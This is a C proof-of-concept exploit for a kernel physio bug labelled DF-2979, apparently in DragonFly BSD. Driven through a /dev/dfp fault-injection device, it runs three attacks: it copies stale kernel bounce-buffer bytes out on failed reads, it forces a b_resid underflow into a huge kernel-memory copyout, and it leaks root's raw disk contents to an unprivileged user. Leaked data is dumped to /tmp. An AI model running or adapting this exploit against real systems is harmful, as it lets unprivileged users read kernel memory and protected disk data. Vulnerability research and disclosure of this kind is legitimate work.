/*
 * poc.c -- DF-2979 unprivileged trigger.
 *
 * T1 (stale-content disclosure): a read that completes with B_ERROR but no
 *      b_resid (in-tree: virtio_blk.c:920-927) makes physio compute
 *      iolen = b_bcount - <stale b_resid> and COPY OUT the stale bounce
 *      buffer to the user BEFORE checking B_ERROR (kern_physio.c:112-121
 *      run before 128).  Expected: read() fails with EIO but the buffer
 *      contains the PREVIOUS transfer's kernel-resident bytes.
 *
 * T2 (stale-resid underflow -> oversized copyout): first poison the pool
 *      with a legitimate EOF completion (b_resid = 65536, subr_diskslice.c
 *      idiom), then issue an erroring 512-byte read: iolen = 512 - 65536
 *      -> (size_t)~65024 -> physio copyouts ~2^64 bytes from the pbuf,
 *      walking the contiguous wired pbuf region (nswbuf_mem * MAXPHYS,
 *      ~49MB on the test guest) into a pre-mapped user region until a
 *      fault.  Expected: massive kernel-memory disclosure into the user
 *      mapping, or a kernel fault/panic -- either proves the primitive.
 *
 * usage: poc 1|2   (run as an unprivileged user)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/usched.h>

#define DFP_SET_NORMAL	_IO('D', 1)
#define DFP_SET_ERRNR	_IO('D', 2)
#define DFP_SET_EOF	_IO('D', 3)

static void
hexdump(const unsigned char *p, size_t n, const char *tag)
{
	size_t i;
	printf("%s @%p:\n", tag, p);
	for (i = 0; i < n; i += 16) {
		size_t j;
		printf("  %04zx: ", i);
		for (j = 0; j < 16 && i + j < n; j++)
			printf("%02x ", p[i + j]);
		printf("\n");
	}
}

static int
t1_stale_content(void)
{
	unsigned char *first = calloc(1, 65536);
	unsigned char *second = calloc(1, 512);
	int fd = open("/dev/dfp", O_RDONLY);
	ssize_t r;
	int leaks = 0;

	if (fd < 0) { perror("open /dev/dfp"); return 2; }

	if (ioctl(fd, DFP_SET_NORMAL) < 0) { perror("ioctl NORMAL"); return 2; }
	r = read(fd, first, 65536);
	printf("T1 step1: NORMAL read(65536) = %zd\n", r);
	if (r != 65536) { printf("T1 FAIL: setup read\n"); return 2; }

	/* pbuf now holds the pattern, b_resid == 0; pbuf released to pool */

	if (ioctl(fd, DFP_SET_ERRNR) < 0) { perror("ioctl ERRNR"); return 2; }
	errno = 0;
	r = read(fd, second, 512);
	printf("T1 step2: ERR(NORESID) read(512) = %zd errno=%d (%s)\n",
	       r, errno, strerror(errno));

	/*
	 * Success criterion: read FAILED (EIO) yet second[] contains the
	 * previous transfer's kernel-resident bytes (nonzero stale data).
	 */
	{
		int i;
		for (i = 0; i < 512; i++)
			if (second[i] != 0)
				leaks++;
	}
	printf("T1 RESULT: %s -- failed read disclosed %d/512 stale "
	       "kernel bounce-buffer bytes\n",
	       leaks ? "LEAK" : "clean", leaks);
	hexdump(second, 128, "T1 leaked-buffer head");
	return leaks ? 0 : 1;
}

static int
t2_underflow(void)
{
	unsigned char *big;
	size_t mapsz = 256UL * 1024 * 1024;
	int fd = open("/dev/dfp", O_RDONLY);
	int attempt, hit = -1;

	if (fd < 0) { perror("open /dev/dfp"); return 2; }

	big = mmap(NULL, mapsz, PROT_READ | PROT_WRITE,
		   MAP_ANON | MAP_PRIVATE, -1, 0);
	if (big == MAP_FAILED) { perror("mmap"); return 2; }
	memset(big, 0, mapsz);	/* prefault: every user page resident */

	/* fill a pbuf with the pattern + leave b_resid = 0 */
	if (ioctl(fd, DFP_SET_NORMAL) < 0) { perror("ioctl NORMAL"); return 2; }
	{
		ssize_t r = read(fd, calloc(1, 65536), 65536);
		printf("T2 step1: NORMAL read(65536) = %zd\n", r);
	}

	/*
	 * Retry (EOF-poison, error-read) pairs: the pbuf pool is per-CPU
	 * hashed and the thread can migrate, so the poisoned pbuf is not
	 * always the one reused.  Each attempt:
	 *   EOF read(65536)  -> pbuf leaves pool with b_resid = 65536
	 *   ERR  read(512)   -> iolen = 512 - stale_resid
	 * stale_resid==65536 -> iolen underflows to ~2^64 (EFAULT + leak);
	 * stale_resid==0     -> iolen=512 (stale bytes only at [0,512)).
	 */
	for (attempt = 1; attempt <= 400; attempt++) {
		ssize_t r;
		size_t i, nz512 = 0, nzrest = 0, kptr = 0, first_nz = (size_t)-1;

		if (ioctl(fd, DFP_SET_EOF) < 0) { perror("ioctl EOF"); return 2; }
		r = read(fd, big, 65536);
		if (r != 0) {
			printf("T2 attempt %d: EOF read = %zd ?\n", attempt, r);
			continue;
		}
		if (ioctl(fd, DFP_SET_ERRNR) < 0) { perror("ioctl ERRNR"); return 2; }
		errno = 0;
		r = read(fd, big, 512);
		if (r >= 0) {
			printf("T2 attempt %d: ERR read returned %zd ?\n",
			       attempt, r);
			continue;
		}
		for (i = 0; i < 512; i += 8)
			if (big[i] | big[i+1] | big[i+2] | big[i+3] |
			    big[i+4] | big[i+5] | big[i+6] | big[i+7])
				nz512 += 8;
		for (i = 512; i < mapsz; i += 8) {
			u_int64_t v;
			memcpy(&v, big + i, 8);
			if (v != 0) {
				if (first_nz == (size_t)-1)
					first_nz = i;
				nzrest += 8;
				if ((v >> 48) == 0xffff)
					kptr++;
			}
		}
		if (attempt <= 3 || errno == EFAULT || nzrest)
			printf("T2 attempt %3d: errno=%2d nz[0,512)=%zu "
			       "nz[512,end)=%zu first_nz=0x%zx kptr=%zu\n",
			       attempt, errno, nz512, nzrest, first_nz, kptr);
		if (errno == EFAULT || nzrest > 0) {
			hit = attempt;
			printf("T2 RESULT: LEAK/UNDERFLOW at attempt %d "
			       "(errno=%d, %zu bytes beyond the 512-byte "
			       "request, %zu kernel-pointer qwords)\n",
			       attempt, errno, nzrest, kptr);
			{
				char path[256];
				FILE *f;
				snprintf(path, sizeof(path),
					 "/tmp/dfp_leak_%u.bin",
					 (u_int)getpid());
				f = fopen(path, "w");
				if (f) {
					fwrite(big, 1, 256 * 1024, f);
					fclose(f);
					printf("T2 leak sample: %s\n", path);
				}
			}
			hexdump(big, 96, "T2 mapping head (stale first chunk)");
			if (nzrest)
				hexdump(big + (first_nz & ~15UL), 192,
					"T2 sample past initial region");
			fflush(stdout);
			sync();
			return 0;
		}
	}
	printf("T2 RESULT: underflow not hit in %d attempts "
	       "(pool reuse never landed on poisoned pbuf)\n", attempt - 1);
	return 1;
}

/*
 * T3 (cross-context disclosure): while root repeatedly raw-reads the real
 * hammer2 root disk (/dev/vbd0s1d, mode 640 root:operator -- unreadable by
 * us) on CPU 0, we (unprivileged, CPU 0) issue failing reads on /dev/dfp.
 * The physio pbuf that just carried ROOT's disk data is recycled to us;
 * the error completion without b_resid makes physio copy its stale contents
 * into our buffer despite EIO.
 */
static int
t3_cross(void)
{
	unsigned char ref[131072], buf[131072];
	size_t rn = 0, matched, best = 0;
	int fd, fdr, attempt, hitatt = -1;
	ssize_t r;
	FILE *f;

	f = fopen("/tmp/dfp/disk_ref.bin", "r");
	if (!f) { perror("open disk_ref.bin (root setup missing)"); return 2; }
	rn = fread(ref, 1, sizeof(ref), f);
	fclose(f);
	printf("T3: reference = %zu bytes of raw /dev/vbd0s1d\n", rn);

	fd = open("/dev/dfp", O_RDONLY);
	if (fd < 0) { perror("open /dev/dfp"); return 2; }
	if (ioctl(fd, DFP_SET_ERRNR) < 0) { perror("ioctl ERRNR"); return 2; }
	{
		int cpu = 0;
		if (usched_set(getpid(), USCHED_SET_CPU, &cpu, sizeof(cpu)) < 0)
			perror("usched_set(poc)");
		else
			printf("T3: pinned to cpu %d\n", cpu);
	}

	for (attempt = 1; attempt <= 5000; attempt++) {
		memset(buf, 0, sizeof(buf));
		errno = 0;
		r = read(fd, buf, sizeof(buf));
		if (r >= 0) {
			printf("T3 attempt %d: read returned %zd ?\n", attempt, r);
			continue;
		}
		/* longest 4KB-aligned block match against the reference */
		matched = 0;
		{
			size_t i, j;
			for (i = 0; i + 4096 <= sizeof(buf); i += 4096) {
				for (j = 0; j + 4096 <= rn; j += 4096) {
					if (memcmp(buf + i, ref + j, 4096) == 0) {
						/* verify the block is real data */
						int nz = 0, k;
						for (k = 0; k < 4096; k += 64)
							if (ref[j + k])
								nz++;
						if (nz > 2)
							matched += 4096;
						break;
					}
				}
			}
		}
		if (matched > best) {
			best = matched;
			hitatt = attempt;
		}
		if (attempt <= 3 || matched)
			printf("T3 attempt %3d: errno=%d matched=%zu bytes "
			       "of root's disk data in our buffer\n",
			       attempt, errno, matched);
		if (matched >= 4096) {
			f = fopen("/tmp/dfp_leak_t3.bin", "w");
			if (f) { fwrite(buf, 1, sizeof(buf), f); fclose(f); }
			printf("T3 RESULT: CROSS-CONTEXT LEAK at attempt %d -- "
			       "unprivileged FAILED read disclosed %zu bytes "
			       "of raw root-disk contents\n", attempt, matched);
			return 0;
		}
	}
	printf("T3 RESULT: no cross-context hit in %d attempts "
	       "(best=%zu bytes at attempt %d)\n", attempt - 1, best, hitatt);
	(void)hitatt;
	return 1;
}

int
main(int argc, char **argv)
{
	uid_t u = getuid();
	printf("poc: uid=%d euid=%d test=%s\n", u, geteuid(),
	       argc > 1 ? argv[1] : "?");
	if (argc > 1 && argv[1][0] == '2')
		return t2_underflow();
	if (argc > 1 && argv[1][0] == '3')
		return t3_cross();
	return t1_stale_content();
}
